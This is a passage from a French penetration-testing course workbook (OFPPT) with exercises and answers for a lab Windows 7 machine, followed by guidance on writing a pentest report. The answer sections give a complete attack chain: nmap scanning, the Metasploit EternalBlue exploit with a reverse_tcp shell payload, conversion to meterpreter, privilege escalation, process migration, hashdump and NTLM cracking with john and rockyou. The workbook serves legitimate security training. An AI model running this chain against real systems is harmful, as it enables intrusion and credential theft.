lancez 'whoami'. Cela devrait rendre que nous sommes bien système. Arrière-plan de ce shell par la suite et sélectionnez notre session meterpreter pour l'utiliser à

nouveau.
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Étape 4 : mouvement latéral

Activité 3
Réaliser un test d’intrusion 3

Exercices

1. Listez tous les processus en cours d'exécution via la commande 'ps'. Ce n'est pas parce que nous sommes SYSTEM que notre processus l'est. Trouver un processus vers

le bas de cette liste qui s'exécute sur NT AUTHORITY\SYSTEM et notez l'identifiant du processus (colonne à l'extrême gauche).

2. Migrez vers ce processus à l'aide de la commande 'migrate PROCESS_ID' où l'ID de processus est celui que vous venez d'écrire à l'étape précédente. Cela peut prendre

plusieurs tentatives, les processus de migration n'étant pas très stables. Si cela échoue, vous devrez peut-être relancer le processus de conversion ou redémarrer la

machine et recommencer. Si cela se produit, essayez un processus différent la prochaine fois.

3. Dans notre shell meterpreter élevé, exécutez la commande 'hashdump'. Cela nous permettra de récupérer les hashs de tous les mots de passe sur la machine tant que

nous aurons les privilèges appropriés pour le faire. Quel est le nom de l'utilisateur non par défaut ?

4. Copiez ce hachage de mot de passe dans un fichier et recherchez comment le déchiffrer. Quel est le mot de passe cracké ?
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Étape 1 : scan et identification de vulnérabilités

Activité 3
Réaliser un test d’intrusion 3

Réponses

Quel est l’ip de la machine cible ?

192.168.100.13

Combien de ports sont ouverts avec un numéro de port inférieur à 1024 ?

3 ports (135, 139, 445)
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Étape 1 : scan et identification de vulnérabilités

Activité 3
Réaliser un test d’intrusion 3

Réponses

A quoi cette machine est-elle vulnérable ? (Réponse sous forme de : ms??-???, ex : ms08-067)

Un scan nmap détaillé nous donnera la version de chaque service : nmap -sC -sV -p 135,139,445 192.168.100.13

Nous avons affaire à la version smb sur windows 7 qui est vulnérable au fameux exploit EternalBlue ms17_10 

https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/

https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/
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Étape 2 : exploitation des vulnérabilités

Activité 3
Réaliser un test d’intrusion 3

Réponses

Démarrer Metasploit et Trouver le code d'exploitation que nous exécuterons sur la machine. Quel est le chemin complet du code ? (Ex : exploit/........)

Nous lançons msfconsole et cherchons ms17-0101 avec search ms17-010

Après des tests et des échecs nous pouvons confirmer que c’est le code adapté à notre contexte est exploit/windows/smb/ms17_010_eternalblue



132Copyright - Tout droit réservé - OFPPT

PA
R

TI
E 

3

Étape 2 : exploitation des vulnérabilités

Activité 3
Réaliser un test d’intrusion 3

Réponses

Afficher les options et définir la valeur requise. Quel est le nom de cette valeur ? (Toute en majuscule pour la soumission)

RHOSTS
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Étape 2 : exploitation des vulnérabilités

Activité 3
Réaliser un test d’intrusion 3

Réponses

Habituellement, ce serait bien d'exécuter cet exploit tel que l; cependant, dans un souci d'apprentissage, vous devez faire une dernière chose avant d'exploiter la cible.

Saisir la commande suivante et appuyez sur Entrée : set payload windows/x64/shell/reverse_tcp
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Étape 2 : exploitation des vulnérabilités

Activité 3
Réaliser un test d’intrusion 3

Réponses

Cela fait, exécuter l'exploit !
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Étape 2 : exploitation des vulnérabilités

Activité 3
Réaliser un test d’intrusion 3

Réponses

1. Confirmer que l'exploit s'est exécuté correctement. Vous devrez peut-être appuyer sur Entrée pour que le shell DOS apparaisse. Renvoyer le shell en arrière-plan avec

(CTRL+Z). Si cela échoue, vous devrez peut-être redémarrer la machine virtuelle cible. Essayez de l'exécuter à nouveau avant un redémarrage de la cible.
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Étape 3 : élévation des privilèges 

Activité 3
Réaliser un test d’intrusion 3

Réponses

Si vous ne l'avez pas déjà fait, mettez en arrière-plan le shell précédemment obtenu (CTRL + Z). Recherchez en ligne comment convertir un shell en shell meterpreter dans

metasploit. Quel est le nom du module de publication que nous utiliserons ? (Chemin exact, similaire à l'exploit que nous avons précédemment sélectionné)

Nous utilisons le module : post/multi/manage/shell_to_meterpreter

Sélectionnez ceci (utilisez MODULE_PATH). Afficher les options, quelle option devons-nous modifier ?

SESSION
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Étape 3 : élévation des privilèges 

Activité 3
Réaliser un test d’intrusion 3

Réponses

Définissez l'option requise, vous devrez peut-être répertorier toutes les sessions pour trouver votre cible ici.

Exécuter ! Si cela ne fonctionne pas, essayez de terminer l'exploit de la tâche précédente une fois de plus.
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Étape 3 : élévation des privilèges 

Activité 3
Réaliser un test d’intrusion 3

Réponses

Une fois la conversion du shell meterpreter terminée, sélectionnez cette session à utiliser.

Vérifiez que nous avons escaladé vers NT AUTHORITY\SYSTEM. Exécutez getsystem pour le confirmer. N'hésitez pas à ouvrir un shell DOS via la commande 'shell' et lancez

'whoami'. Cela devrait rendre que nous sommes bien système. Mettez en arrière-plan ce shell par la suite et sélectionnez notre session meterpreter pour l'utiliser à

nouveau.
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Étape 4 : mouvement latéral

Activité 3
Réaliser un test d’intrusion 3

Réponses

Listez tous les processus en cours d'exécution via la commande 'ps'. Ce n'est pas parce que nous sommes SYSTEM que notre processus l'est. Trouver un processus vers le

bas de cette liste qui s'exécute sur NT AUTHORITY\SYSTEM et notez l'identifiant du processus (colonne à l'extrême gauche).

Nous choisissons le processus 724
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Étape 4 : mouvement latéral

Activité 3
Réaliser un test d’intrusion 3

Réponses

Migrez vers ce processus à l'aide de la commande 'migrate PROCESS_ID' où l'ID de processus est celui que vous venez d'écrire à l'étape précédente. Cela peut prendre

plusieurs tentatives, les processus de migration n'étant pas très stables. Si cela échoue, vous devrez peut-être relancer le processus de conversion ou redémarrer la

machine et recommencer. Si cela se produit, essayez un processus différent la prochaine fois.

Dans notre shell meterpreter élevé, exécutez la commande 'hashdump'. Cela nous permettra de récupérer les hashs de tous les mots de passe sur la machine tant que

nous aurons les privilèges appropriés pour le faire. Quel est le nom de l'utilisateur non par défaut ?

Jon
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Étape 4 : mouvement latéral

Activité 3
Réaliser un test d’intrusion 3

Réponses

Nous allons utiliser john avec le wordlist rockyou.txt pour le déchiffrer ce type de hash NTLM :

Le mot de passe de jon est : alqfna22
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Étape 4 : mouvement latéral

Activité 3
Réaliser un test d’intrusion 3

Réponses

Nous allons d’ailleurs tester ce mot de passe et accéder à la machine windows : 



Dans ce module, vous allez :

PARTIE 4

RÉDIGER UN RAPPORT DE TEST 
D’INTRUSION

• Synthétiser les vulnérabilités à corriger

• Détailler les solutions envisageables de correction

• Rédiger un rapport complet des tests d’intrusion réalisés

5 heures



Compétences visées :

Recommandations clés :

ACTIVITÉ 1

Préparer un tableau de bord des 
vulnérabilités identifiées

• Classifier les vulnérabilités selon leurs criticités

• Synthétiser les vulnérabilités à corriger

2 heures

• En tant que pentester, il vous est demandé de conseiller sur 
les vulnérabilités critiques et donner une recommandation 
sans entrer dans les détails des solutions possibles



CONSIGNES

1. Pour le formateur :

• Cette partie se base sur les parties 2 et 3, il faut s’assurer que les apprenants ont
compris les réponses fournies et peuvent les synthétiser et les reformuler

• Il n’est demandé de rapporter toutes les étapes du test d’intrusion

• Il faut choisir un seul template des 3 méthodologies de test d’intrusion

• Le rapport est le récapitulatif des parties 2 et 3

• Utiliser un seul Template de test d’intrusion

• Il ne faut rapporter que les étapes importantes de l’exploitation

• Le template choisi pour réaliser le rapport 

• Se servir des réponses des parties 2 et 3

• Rédaction structurée du tableau de board

• Explication claire des recommandations

2. Pour l’apprenant :

3. Conditions de réalisation :

4. Critères de réussite :
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Étape 1 : Préparer un tableau de bord des vulnérabilités identifiées

Activité 1
Préparer un tableau de bord des vulnérabilités identifiées

Exercices

1. En utilisant le tableau préparé dans le template, choisir 3 vulnérabilités identifiées et exploitées dans la partie 3 et donner leurs criticités et vos recommandations.

2. Dans le même tableau, choisir 3 vulnérabilités seulement identifiées et non exploitées dans les parties 2 et 3 et donner leurs criticités et vos recommandations.
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Étape 1 : Préparer un tableau de bord des vulnérabilités identifiées

Activité 1
Préparer un tableau de bord des vulnérabilités identifiées

Réponses

1. En utilisant le tableau préparé dans le template, choisir 3 vulnérabilités identifiées et exploitées dans la partie 3 et donner leurs criticités et vos recommandations.

2. Dans le même tableau, choisir 3 vulnérabilités seulement identifiées et non exploitées dans les parties 2 et 3 et donner leurs criticités et vos recommandations.



Compétences visées :

Recommandations clés :

ACTIVITÉ 2

RÉDIGER UN RAPPORT DE TEST 
D’INTRUSION

• Rédiger les étapes suivies pour exploiter les vulnérabilités identifier 

• Savoir s’adresser à différents profils avec des sections différentes

3 heures

• Dans un rapport final, il n’est pas demandé tout mettre. 
Cependant, il faut rapporter ce qui est important pour 
l’entreprise et ce qui est indispensable pour agir et corriger 
les vulnérabilités 



CONSIGNES

1. Pour le formateur :

• Cette partie se base sur les parties 2 et 3, il faut s’assurer que les apprenants ont
compris les réponses fournies et peuvent les synthétiser et les reformuler

• Il n’est demandé de rapporter toutes les étapes du test d’intrusion

• Il faut choisir un seul template des 3 méthodologies de test d’intrusion

• Le rapport est le récapitulatif des parties 2 et 3

• Utiliser un seul Template de test d’intrusion

• Il ne faut rapporter que les étapes importantes de l’exploitation

• Le template choisi pour réaliser le rapport 

• Les réponses des parties 2 et 3

• Rédaction structurée du tableau de board

• Explication claire des recommandations

2. Pour l’apprenant :

3. Conditions de réalisation :

4. Critères de réussite :
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Étape 1 : Rédiger un rapport de test d’intrusion

Activité 2
Rédiger un rapport de test d’intrusion

Exercices

1. Quel est le template le mieux adapté aux 3 tests d’intrusions réalisés ?

2. En utilisant vos propres solutions ou les réponses fournies, rédiger le rapport des 3 tests d’intrusions et donnez vos recommandations.
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Étape 1 : Rédiger un rapport de test d’intrusion

Activité 2
Rédiger un rapport de test d’intrusion

Réponses

Quel est le template le mieux adapté aux 3 tests d’intrusions réalisés ?

Le template de la méthodologie PTES est plus adapté à ces types de test d’intrusion qui cible un système clair et ont des objectifs de gagner accès au système cible

En utilisant vos propres solutions ou les réponses fournies, rédiger le rapport des 3 tests d’intrusions et donnez vos recommandations :

Les détails donnés dans les réponses des tests d’intrusion doivent être synthétisés et utilisés comme preuves de la vulnérabilité. Les recommandations doivent 

correspondre à la recommandation officielle de l’éditeur ou une bonne pratique de la sécurisation du système en question. 
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Étape 1 : Rédiger un rapport de test d’intrusion

Activité 2
Rédiger un rapport de test d’intrusion

Réponses

Exemple d’un paragraphe pour reporter une vulnérabilité trouvée :

Gestion des correctifs insuffisante - applicatif(critique)

Description :

La société ......utilise plusieurs versions anciennes des actifs dans son réseau. Par exemple :

✓ Apache version < 2.4.46

✓ Apache Tomcat version < 7.0.100, 8.5.51, 9.0.31

✓ Cisoco AireOS version 8.5.151.10

✓ CodeMeter version 3.05 (5.21.1478.500)

✓ Dropbear SSH Server version 2015.68

✓ Dell iDRAC7 version 2.63.60.62.01

✓ Dell iDRAC8 version 2.63.60.61.06

✓ Dell iDRAC9 version 3.36.36.36.21

✓ ESXi version 5.5
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Étape 1 : Rédiger un rapport de test d’intrusion

Activité 2
Rédiger un rapport de test d’intrusion

Réponses

Ci-dessus répertorie tous les logiciels obsolètes critiques et hautement exposés, dont la majorité permettent de graves vulnérabilités, telle que l'exécution de code à

distance. Pour les correctifs, veuillez consulter la documentation de numérisation Nessus fournie.

Risque :

Probabilité : Élevée – Un attaquant peut découvrir ces vulnérabilités avec des outils de base.

Impact : Très élevé – En cas d'exploitation, un attaquant pourrait éventuellement obtenir l'exécution complète du code à distance ou refuser le service à un système.

Outil utilisé :

Nessus

Correction :

Upgrader vers la dernière version du logiciel. Pour une liste complète des systèmes vulnérables, des versions et des exigences en matière de correctifs, veuillez

consulter le document ci-dessous.
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Étape 1 : Rédiger un rapport de test d’intrusion

Activité 2
Rédiger un rapport de test d’intrusion

Réponses

Preuve :


